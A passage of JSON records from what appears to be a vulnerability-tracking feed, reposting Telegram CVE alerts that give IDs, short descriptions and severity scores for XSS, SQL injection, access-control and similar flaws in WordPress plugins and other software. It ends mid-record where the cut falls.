"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12460", "type": "seen", "source": "Telegram/bzKCkVT6B2c3zAFjrqBZYZCDP-8q5zphN6tx5SkBW1Ph-VDU", "content": "", "creation_timestamp": "2025-03-08T04:37:51.000000Z"}, {"uuid": "38e82d9f-1cf5-4867-97bd-648524832186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12683", "type": "seen", "source": "https://t.me/cvedetector/21151", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12683 - WordPress Smart Maintenance Mode Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12683 \nPublished : March 26, 2025, 6:15 a.m. | 2\u00a0hours, 17\u00a0minutes ago \nDescription : The Smart Maintenance Mode WordPress plugin before 1.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-26T09:42:18.000000Z"}, {"uuid": "6269aa0a-72ec-4590-97d1-0c690ea59535", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12169", "type": "seen", "source": "https://t.me/cvedetector/21093", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12169 - \"Cybersecure RTU500 CMU Restart Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12169 \nPublished : March 25, 2025, 1:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability exists in RTU500 IEC 60870-5-104 controlled station functionality and IEC 61850 functionality, that allows an attacker performing a specific attack sequence to restart the affected CMU. This vulnerability only applies, if secure communication using IEC 62351-3 (TLS) is enabled. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-25T15:18:48.000000Z"}, {"uuid": "8530320e-a241-4392-add6-79a4057bb020", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://t.me/cvedetector/16442", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12773 - Altra Side Menu WordPress SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12773 \nPublished : Jan. 27, 2025, 6:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The Altra Side Menu WordPress plugin through 2.0 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T10:08:24.000000Z"}, {"uuid": "b78eff27-0e88-40ac-98e5-81d659c3e81b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12623", "type": "seen", "source": "https://t.me/cvedetector/21057", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12623 - WordPress DICOM Support Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12623 \nPublished : March 25, 2025, 7:15 a.m. | 32\u00a0minutes ago \nDescription : The DICOM Support plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'dcm' shortcode in all versions up to, and including, 0.10.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-25T09:27:33.000000Z"}, {"uuid": "2538c4ae-88cc-46c1-b79f-2b27ac39f16e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12436", "type": "seen", "source": "https://t.me/cvedetector/16441", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12436 - WordPress Customer Area CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12436 \nPublished : Jan. 27, 2025, 6:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The WP Customer Area WordPress plugin through 8.2.4 does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T10:08:23.000000Z"}, {"uuid": "d4015de3-8eb6-4567-9b02-2d57903baaef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12211", "type": "seen", "source": "https://t.me/cvedetector/15161", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12211 - Pega Platform Stored Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12211 \nPublished : Jan. 13, 2025, 5:15 p.m. | 20\u00a0minutes ago \nDescription : Pega Platform versions 8.1 to Infinity 24.2.0 are affected by an Stored XSS issue with profile. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-13T18:45:02.000000Z"}, {"uuid": "c3a84d4e-4aa5-4013-86b0-8445c335a039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12816", "type": "seen", "source": "https://t.me/cvedetector/16375", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12816 - WordPress NOTICE BOARD BY TOWKIR Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12816 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The NOTICE BOARD BY TOWKIR plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'notice-board' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:53.000000Z"}, {"uuid": "51216f58-0be3-4a17-9ddc-8b3c79d1bd20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12826", "type": "seen", "source": "https://t.me/cvedetector/16371", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12826 - GoHero Store Customizer for WooCommerce Unauthenticated Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12826 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The GoHero Store Customizer for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wooh_action_settings_save_frontend() function in all versions up to, and including, 3.5. This makes it possible for unauthenticated attackers to update limited plugin settings. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:47.000000Z"}, {"uuid": "d6938ac4-04ef-407d-97a8-ebd50607e491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "https://t.me/cvedetector/16496", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12740 - NI Vision Arbitrary Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12740 \nPublished : Jan. 27, 2025, 6:15 p.m. | 22\u00a0minutes ago \nDescription : Vision related software from NI used a third-party library for image processing that exposes several vulnerabilities.  These vulnerabilities may result in arbitrary code execution.  Successful exploitation requires an attacker to get a user to open a specially crafted file. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T20:11:30.000000Z"}, {"uuid": "409c2f40-38d0-4ec2-8d9c-fea56f464bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://t.me/cvedetector/20704", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12016 - CM Informatics CM News SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12016 \nPublished : March 20, 2025, 8:15 a.m. | 1\u00a0hour, 35\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in CM Informatics CM News allows SQL Injection.This issue affects CM News: through 6.0.  \n  \n  \n  \n  \n  \nNOTE: The vendor was contacted and it was learned that the product is not supported. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-20T11:32:44.000000Z"}, {"uuid": "7f8a38da-24e7-4463-821f-00ee95d047a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12920", "type": "seen", "source": "https://t.me/cvedetector/20638", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12920 - FoodBakery | Delivery Restaurant Directory WordPress Theme Unauthenticated Data Access and Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12920 \nPublished : March 19, 2025, 12:15 p.m. | 53\u00a0minutes ago \nDescription : The FoodBakery | Delivery Restaurant Directory WordPress Theme theme for WordPress is vulnerable to unauthorized access of data and modification of data due to a missing capability check on the foodbakery_var_backup_file_delete, foodbakery_widget_file_delete, theme_option_save, export_widget_settings, ajax_import_widget_data, foodbakery_var_settings_backup_generate, foodbakery_var_backup_file_restore, and theme_option_rest_all functions in all versions up to, and including, 4.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files, update theme options, export widget options, import widget options, generate backups, restore backups, and reset theme options. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T14:38:52.000000Z"}, {"uuid": "fc96d9bc-214a-4255-a767-1210b4dab41b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12529", "type": "seen", "source": "https://t.me/cvedetector/16381", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12529 - Brodos.net Onlineshop Plugin Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12529 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The brodos.net Onlineshop Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'BrodosCategory' shortcode in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:29:00.000000Z"}, {"uuid": "e12d5027-af66-4782-bfbd-b5530b27f92c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12512", "type": "seen", "source": "https://t.me/cvedetector/16380", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12512 - WordPress asks me something - Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12512 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The Ask Me Anything (Anonymously) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'askmeanythingpeople' shortcode in all versions up to, and including, 1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:29:00.000000Z"}, {"uuid": "da933382-eb28-4ea0-a7c7-0a40a8770182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12113", "type": "seen", "source": "https://t.me/cvedetector/16379", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12113 - Youzify BuddyPress Review Deletion Arbitrary Update\", \n  \"Content\": \"CVE ID : CVE-2024-12113 \nPublished : Jan. 25, 2025, 8:15 a.m. | 42\u00a0minutes ago \nDescription : The Youzify \u2013 BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the delete_user_review() and delete_review() functions in all versions up to, and including, 1.3.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete other user's reviews. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T10:28:59.000000Z"}, {"uuid": "6f26adb0-7d4e-41d6-90a5-33368a0bbb69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "https://t.me/cvedetector/19711", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12144 - Finder Fire Safety Finder ERP/CRM SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12144 \nPublished : March 6, 2025, 2:15 p.m. | 1\u00a0hour, 52\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Finder Fire Safety Finder ERP/CRM (Old System) allows SQL Injection.This issue affects Finder ERP/CRM (Old System): before 18.12.2024. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-06T17:11:04.000000Z"}, {"uuid": "24437656-e919-4358-ba48-aa1f0ecb70f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12146", "type": "seen", "source": "https://t.me/cvedetector/19708", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12146 - Finder Fire Safety Finder ERP/CRM SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12146 \nPublished : March 6, 2025, 3:15 p.m. | 53\u00a0minutes ago \nDescription : Improper Validation of Syntactic Correctness of Input vulnerability in Finder Fire Safety Finder ERP/CRM (New System) allows SQL Injection.This issue affects Finder ERP/CRM (New System): before 18.12.2024. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-06T17:11:02.000000Z"}, {"uuid": "35518188-019a-4927-b243-945ed0181c60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12097", "type": "seen", "source": "https://t.me/cvedetector/19635", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12097 - Boceksoft Informatics E-Travel SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12097 \nPublished : March 5, 2025, 2:15 p.m. | 53\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Boceksoft Informatics E-Travel allows SQL Injection.This issue affects E-Travel: before 15.12.2024. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-05T16:56:40.000000Z"}, {"uuid": "d89a76e6-f27d-4a4b-a860-afa343378e4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12650", "type": "seen", "source": "https://t.me/cvedetector/19631", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12650 - Apache HTTP Server Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12650 \nPublished : March 5, 2025, 12:15 p.m. | 51\u00a0minutes ago \nDescription : An attacker with low privileges can manipulate the requested memory size, causing the application to use an invalid memory area. This could lead to a crash of the application but it does not affected other applications. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-05T14:26:18.000000Z"}, {"uuid": "8ceaafbf-7dd7-48c7-ba27-9a354b61ed8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12281", "type": "seen", "source": "https://t.me/cvedetector/19630", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12281 - Homey Theme for WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12281 \nPublished : March 5, 2025, 12:15 p.m. | 51\u00a0minutes ago \nDescription : The Homey theme for WordPress is vulnerable to privilege escalation in all versions up to, and including, 2.4.2. This is due to the plugin allowing users who are registering new accounts to set their own role. This makes it possible for unauthenticated attackers to gain elevated privileges by creating an account with the Editor or Shop Manager role. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-05T14:26:15.000000Z"}, {"uuid": "1b537108-f8d8-400f-a4b3-4eecaea86725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://t.me/cvedetector/19647", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12799 - OpenText Identity Manager Advanced Edition: Credential Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12799 \nPublished : March 5, 2025, 3:15 p.m. | 2\u00a0hours, 3\u00a0minutes ago \nDescription : Insufficiently Protected Credentials  \nvulnerability in OpenText Identity Manager Advanced Edition on Windows, Linux,  \n64 bit allows Privilege Abuse. This vulnerability could allow an  \nauthenticated user to obtain higher privileged user\u2019s sensitive information via  \ncrafted payload.  \n  \nThis issue affects Identity Manager Advanced  \nEdition: from 4.8.0.0 through 4.8.7.0102, 4.9.0.0. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-05T18:37:11.000000Z"}, {"uuid": "cc59d6fa-3f02-4427-821e-d439a2db80e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12815", "type": "seen", "source": "https://t.me/cvedetector/19624", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12815 - WordPress Point Maker Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12815 \nPublished : March 5, 2025, 10:15 a.m. | 48\u00a0minutes ago \nDescription : The Point Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'point_maker' shortcode in all versions up to, and including, 0.1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-05T12:46:08.000000Z"}, {"uuid": "177215b7-7c76-4442-b0a8-ee7d01a67ba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12593", "type": "seen", "source": "https://t.me/cvedetector/15439", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12593 - \"WPForms Drag and Drop Template Builder Stored XSS\"\", \n  \"Content\": \"CVE ID : CVE-2024-12593 \nPublished : Jan. 15, 2025, 12:15 p.m. | 46\u00a0minutes ago \nDescription : The PDF for WPForms + Drag and Drop Template Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's yeepdf_dotab shortcode in all versions up to, and including, 4.6.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T14:16:31.000000Z"}, {"uuid": "7d432526-8b75-4a57-bbcb-d4ebae7d71ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12818", "type": "seen", "source": "https://t.me/cvedetector/15420", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12818 - The WP Smart TV plugin for WordPress is vulnerable\", \n  \"Content\": \"CVE ID : CVE-2024-12818 \nPublished : Jan. 15, 2025, 10:15 a.m. | 26\u00a0minutes ago \nDescription : The WP Smart TV plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tv-video-player' shortcode in all versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T11:45:53.000000Z"}, {"uuid": "7cc17640-f5cd-4134-8a4b-6047b03fdbd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12423", "type": "seen", "source": "https://t.me/cvedetector/15419", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12423 - \"Contact Form 7 Redirect & Thank You Page Reflected Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12423 \nPublished : Jan. 15, 2025, 10:15 a.m. | 26\u00a0minutes ago \nDescription : The Contact Form 7 Redirect & Thank You Page plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'post' parameter in all versions up to, and including, 1.0.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T11:45:49.000000Z"}, {"uuid": "9c16dd2c-44cf-4339-81cd-10e6903270f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12403", "type": "seen", "source": "https://t.me/cvedetector/15418", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12403 - \"Apache Word Press Image Gallery Reflected Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12403 \nPublished : Jan. 15, 2025, 10:15 a.m. | 26\u00a0minutes ago \nDescription : The Image Gallery \u2013 Responsive Photo Gallery plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'awsmgallery' parameter in all versions up to, and including, 1.0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T11:45:48.000000Z"}, {"uuid": "ddaaffa5-49ae-4b0e-a907-be114919f778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/cvedetector/15417", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12297 - Moxa EDS-508A Series Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12297 \nPublished : Jan. 15, 2025, 10:15 a.m. | 26\u00a0minutes ago \nDescription : Moxa\u2019s Ethernet switch EDS-508A Series, running firmware version 3.11 and earlier, is vulnerable to an authentication bypass because of flaws in its authorization mechanism. Although both client-side and back-end server verification are involved in the process, attackers can exploit weaknesses in its implementation. These 